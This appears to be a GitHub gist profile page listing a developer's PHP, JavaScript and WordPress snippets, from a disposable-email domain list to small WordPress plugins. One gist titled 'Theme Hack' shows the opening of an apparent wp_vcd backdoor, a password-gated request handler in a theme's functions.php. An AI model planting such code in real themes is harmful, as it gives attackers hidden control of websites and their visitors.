Skip to content

Instantly share code, notes, and snippets.

View tareq1988's full-sized avatar
🎯
Focusing

Tareq Hasan tareq1988

🎯
Focusing
View GitHub Profile
@tareq1988
tareq1988 / extensions.php
Last active January 29, 2024 07:57
PHP Extensions Support
<?php
$extensions = [
'apcu',
'bc',
'ctype',
'curl',
'dom',
'exif',
'fileinfo',
@tareq1988
tareq1988 / disposable-email-provider-domains
Last active December 30, 2023 08:16 — forked from lcherone/disposable-email-provider-domains
List of disposable email provider domains
0815.ru
0815.ru0clickemail.com
0815.ry
0815.su
0845.ru
0clickemail.com
0-mail.com
0wnd.net
0wnd.org
10mail.com
<?php
$sites = "http://www.broadcastsolutions.com.au/
http://www.kvm.com.au/
http://www.ambertech.com.au/";
$sites = preg_split('/\r\n|\r|\n/', $sites);
echo "
@tareq1988
tareq1988 / script.js
Last active November 14, 2018 12:14
Sort a plugin author's all plugin by active installation count on wp.org
(function($) {
var total = 0;
var list = [];
let plugins = $('#content-plugins ul li');
console.log('Number of Plugins: ' + plugins.length);
plugins.each(function(index, el) {
let plugin = $(el);
@tareq1988
tareq1988 / functions.php
Created October 31, 2018 08:45
Theme Hack
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
@tareq1988
tareq1988 / functions.php
Created October 27, 2018 15:15
Dokan seller info in popup on store page
<?php
add_action( 'wp_enqueue_scripts', function() {
if ( ! dokan_is_store_page() ) {
return;
}
wp_enqueue_style('dokan-magnific-popup');
wp_enqueue_script('dokan-popup');
} );
@tareq1988
tareq1988 / etc-hosts-on-win.md
Created September 12, 2018 06:47 — forked from zenorocha/etc-hosts-on-win.md
/etc/hosts on Windows

1. Get your IP Address

echo `ifconfig $(netstat -nr | grep -e default -e "^0\.0\.0\.0" | head -1 | awk '{print $NF}') | grep -e "inet " | sed -e 's/.*inet //' -e 's/ .*//' -e 's/.*\://'`

2. Modify your hosts file

notepad

@tareq1988
tareq1988 / fb-group.php
Last active February 25, 2018 08:44
Facebook Group to WP - Post Type Changer
<?php
/**
* Plugin Name: Facebook Group to WP - Post Type Changer
* Description: Changes the default Facebook Group post type to Post
* Plugin URI: https://wordpress.org/plugins/fb-group-to-wp/
* Author: Tareq Hasan
* Author URI: https://tareq.co
* Version: 1.0
* License: GPL2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
@tareq1988
tareq1988 / email-log.php
Created September 12, 2017 14:37
WordPress Email Log to File
<?php
/**
* Plugin Name: Email Log
* Plugin URI: https://tareq.co
* Description: Log all outgoing emails to <code>wp-content/uploads/emails/DATE.log</code> file
* Author: Tareq Hasan
* Author URI: https://tareq.co
* Version: 1.0
*/
@tareq1988
tareq1988 / prli-override.php
Created July 7, 2017 08:05
Override pretty link admin area access role
<?php
/*
Plugin Name: Pretty Link Role Override
Description: Override pretty link admin area access role
Plugin URI: http://tareq.co
Author: Tareq Hasan
Author URI: http://tareq.co
Version: 1.0
License: GPL2
*/